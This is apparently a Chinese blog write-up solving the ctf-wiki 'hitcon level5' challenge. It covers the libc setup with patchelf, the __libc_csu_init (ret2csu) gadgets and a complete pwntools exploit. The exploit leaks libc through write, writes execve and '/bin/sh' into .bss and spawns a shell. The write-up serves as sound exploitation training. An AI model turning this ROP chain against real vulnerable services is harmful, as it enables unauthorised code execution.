Ctfwiki level5

这道题卡了我一天,使我头脑疯狂旋转。
不过最后拿到 shell 后也是非常激动的。

前置知识

patchelf & glibc-all-in-one

用于修改 elf 文件的动态链接库路径。可以用于替换 ld 和 glibc 的版本,实现本地 libc 泄露利用。
首先我们可以通过 string 查看二进制文件使用的动态库:

1
strings ./libc.so.6| grep "Ubuntu GLIBC"

输出如下:

1
GNU C Library (Ubuntu GLIBC 2.23-0ubuntu9) stable release version 2.23, by Roland McGrath et al.

可知,glibc 版本为 2.23。然后用 glibc-all-in-one 下载对应版本的 ld 和 libc 库。
在 glibc-all-in-one 中用 ./update_list 更新列表,然后 cat list 选择合适的版本。
使用 download 下载对应版本的 glibc。

1
 ./download 2.23-0ubuntu11.3_amd64

之后 glibc 文件就在 libs 中了。复制 ld-2.23.so 和 libc-2.23.so 到当前目录下。即可开始替换。

  1. 替换 ld
1
patchelf --set-interpreter  ld-2.23.so ./level5
  1. 替换 glibc
1
patchelf --replace-needed libc.so.6 ./libc.so.6 level5

–set-interpreter 用于设置动态链接器路径,–replace-needed 用于替换动态链接库。

Linux 64 位 elf 函数调用约定

有别于 x86 的是,x86_64 的函数调用约定中,前六个整型参数通过寄存器传递:RDI, RSI, RDX, RCX, R8 和 R9,如果有更多的参数才会保存在栈上。
但是在 glibc 中,有 __libc_csu_init 函数,这个函数会将栈上的参数传递给寄存器,所以我们可以利用这个函数进行 ROP。__libc_csu_init 用来对 libc 进行初始化操作。
要利用这块进行 ROP 攻击。

1
2
3
4
   0x0000000000400600 <+64>:	mov    rdx,r13
   0x0000000000400603 <+67>:	mov    rsi,r14
   0x0000000000400606 <+70>:	mov    edi,r15d
   0x0000000000400609 <+73>:	call   QWORD PTR [r12+rbx*8]

x86_64 的函数调用前 6 个参数分别是 rdi、rsi、rdx、rcx、r8、r9。
这里通过 r15、r14、r13 寄存器对 edi(rdi 的低位)、rsi、rdx
通过 call QWORD PTR [r12+rbx*8] 进行函数调用,只要将 rbx 设 0,调用的函数地址就是 r12 的地址。
也就是说:
r15 -> edi -> 第一个参数
r14 -> rsi -> 第二个参数
r13 -> rdx -> 第三个参数

r12 比较特殊,它是一个地址,指向一个函数地址数组的起始位置,通过修改 rbx 的值可以调用不同的函数。一般取 rbx 为 0,让 r12 指向我们想调用的函数地址即可。
我们要给 r12 的地址应该是写有我们需要的函数地址的内存地址。有点类似于二级指针。
本题就是因为 r12 的特性让我调试半天才找到问题所在(虽然说最后是让 copilot 找到的)。

pwn

该题附件除了 level5 之外还有 libc.so.6 文件。
首先检查二进制文件的安全机制:

1
2
3
4
5
6
7
8
❮ pwn checksec --file=level5
[*] '/data/git/ctf-challenges/pwn/linux/user-mode/stackoverflow/ret2__libc_csu_init/hitcon-level5/level5'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x3fe000)
    Stripped:   No

没有保护,但是 64 位 elf……
先进 ida pro 看反编译。
main 函数进 vulnerable_function ,这里 buf 只有 0x20 的数据但是 read 却可以从标准输入写入 0x200 字节数据,可以尝试栈溢出。

1
2
3
4
5
6
ssize_t vulnerable_function()
{
  _BYTE buf[128]; // [rsp+0h] [rbp-80h] BYREF

  return read(0, buf, 0x200u);
}

而程序中没有 system 也没有 /bin/sh 字符串,这些都只能自己去生成了。好在有 libc
我们可以借助 write 函数来得到 libc 的基址。以此获得 execve 的地址执行 shell。至于 /bin/sh,通过 ROPgadget 也找不到,只能通过程序的数据段去写入了。

一般漏洞只发生在特定的 libc 库内,而我的 ArchLinux 太新了,显然是无法利用漏洞的,所以要把 libc 替换掉。通过 strings 可以看到 libc 版本是 2.23。然后去 glibc-all-in-one 下载对应版本的 glibc。用 patchelf 替换掉 ld 和 libc,就可以复现漏洞了。
然后我们在 __libc_csu_init 找我们要利用的代码地址:
可以使用 pwndbg 的 disassable 命令或者 ida pro 查看:
记下这两端的首地址就能开始一步步写 exp 了。

1
2
3
4
5
6
7
8
9
elfLevel5 = ELF("./level5")
p = process("./level5")
writeGOT = elfLevel5.got["write"]
readGOT = elfLevel5.got["read"]
mainAddr = elfLevel5.symbols["main"]
bssBase = elfLevel5.bss()

csuPopGGadget = 0x000000000040061A
csuCallGadget = 0x0000000000400600

需要获得 GOT 表来调用 write 和 read 函数,以及获得 libc 的基址。
这里 gadget 的地址我们已经记录了。
我们每一次调用 csu 的 gadget 大致都一样的,可以封装成函数多次调用。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
def csu(rbx, rbp, r12, r13, r14, r15, returnAddr):
    payload = b"a" * 0x80 + b"b" * 0x8
    payload += (
        p64(csuPopGGadget)
        + p64(rbx) # 填 0 以调用 r12 的地址
        + p64(rbp) # 填 1 以通过 cmp 检查
        + p64(r12) # 函数地址
        + p64(r13) # 第三个参数 rdx
        + p64(r14) # 第二个参数 rsi
        + p64(r15) # 第一个参数 rdi
    )
    payload += p64(csuCallGadget)
    payload += b'a' * 0x38
    payload += p64(returnAddr)
    p.send(payload)
    sleep(1)

最开始用 0x80 填满缓冲区,因为是 64 位,所以再加 8 字节覆盖 rbp。
通过 csuPopGGadget 下的地址将需要存入寄存器的值传入然后再 pop 到对应的寄存器。
之后通过 csuCallGadget 进行地址返回,因为先前传入了 7 个参数,所以要补齐 56 字节的空间才能正确填入返回地址。
以上代码就利用了 csu 调用我们需要的函数。
我们需要利用 csu 来三发 payload,才能达到我们的目的:

  1. 拿到 write 的地址,由此得到 libc 基址
  2. 想 bss 段写入 execve 函数实际地址和 /bin/sh 字符串
  3. 调用 execve 函数,执行 shell

在标准输出打印 write 的地址,由 u64 转换写入 writeAddr 变量中。

1
2
3
4
# 第一发 payload 获得 write 的真实地址
p.recvuntil(b"Hello, World\n")
csu(0, 1, writeGOT, 8, writeGOT, 1, mainAddr)
writeAddr = u64(p.recv(8))

计算 libc 基址和 execve 函数地址:
这里用到了 LibcSearcher 库获得 write 在 libc 的地址(实际我们也可以直接用现有的 libc.so.6)

1
2
3
4
# 获得 libc 和 execve 的地址
libc = LibcSearcher("write", writeAddr)
libcAddr = writeAddr - libc.dump("write")
execveAddr = libcAddr + libc.dump("execve")

第二发 payload 把 execve 的地址和 ‘/bin/sh’ 写到 .bss 段:

1
2
3
4
# 第二发 payload 把 execve 的地址和 '/bin/sh' 写到 .bss 段
p.recvuntil(b"Hello, World\n")
csu(0, 1, readGOT, 16, bssBase, 0, mainAddr)
p.send(p64(execveAddr) + b"/bin/sh\x00")

第三发 payload 调用 execve("/bin/sh", 0, 0):

1
2
3
4
# 第三发 payload 调用 execve("/bin/sh", 0, 0)
p.recvuntil(b"Hello, World\n")
csu(0, 1, bssBase, 0, 0, bssBase + 8, mainAddr)
p.interactive()

之后就能拿到 shell 了。完整 exp 如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#!/usr/bin/env python

from pwn import *
from LibcSearcher import LibcSearcher

context.log_level = 'debug'
elfLevel5 = ELF("./level5")
p = process("./level5")
writeGOT = elfLevel5.got["write"]
readGOT = elfLevel5.got["read"]
mainAddr = elfLevel5.symbols["main"]
bssBase = elfLevel5.bss()

csuPopGGadget = 0x000000000040061A
csuCallGadget = 0x0000000000400600


def csu(rbx, rbp, r12, r13, r14, r15, returnAddr):
    payload = b"a" * 0x80 + b"b" * 0x8
    payload += (
        p64(csuPopGGadget)
        + p64(rbx)
        + p64(rbp)
        + p64(r12)
        + p64(r13)
        + p64(r14)
        + p64(r15)
    )
    payload += p64(csuCallGadget)
    payload += b'a' * 0x38
    payload += p64(returnAddr)
    p.send(payload)
    sleep(1)

# 第一发 payload 获得 write 的真实地址
p.recvuntil(b"Hello, World\n")
csu(0, 1, writeGOT, 8, writeGOT, 1, mainAddr)
writeAddr = u64(p.recv(8))
print(hex(writeAddr))

# 获得 libc 和 execve 的地址
libc = LibcSearcher("write", writeAddr)
libcAddr = writeAddr - libc.dump("write")
execveAddr = libcAddr + libc.dump("execve")

# 第二发 payload 把 execve 的地址和 '/bin/sh' 写到 .bss 段
p.recvuntil(b"Hello, World\n")
csu(0, 1, readGOT, 16, bssBase, 0, mainAddr)
p.send(p64(execveAddr) + b"/bin/sh\x00")

# 第三发 payload 调用 execve("/bin/sh", 0, 0)
p.recvuntil(b"Hello, World\n")
csu(0, 1, bssBase, 0, 0, bssBase + 8, mainAddr)
p.interactive()
萌ICP备20241614号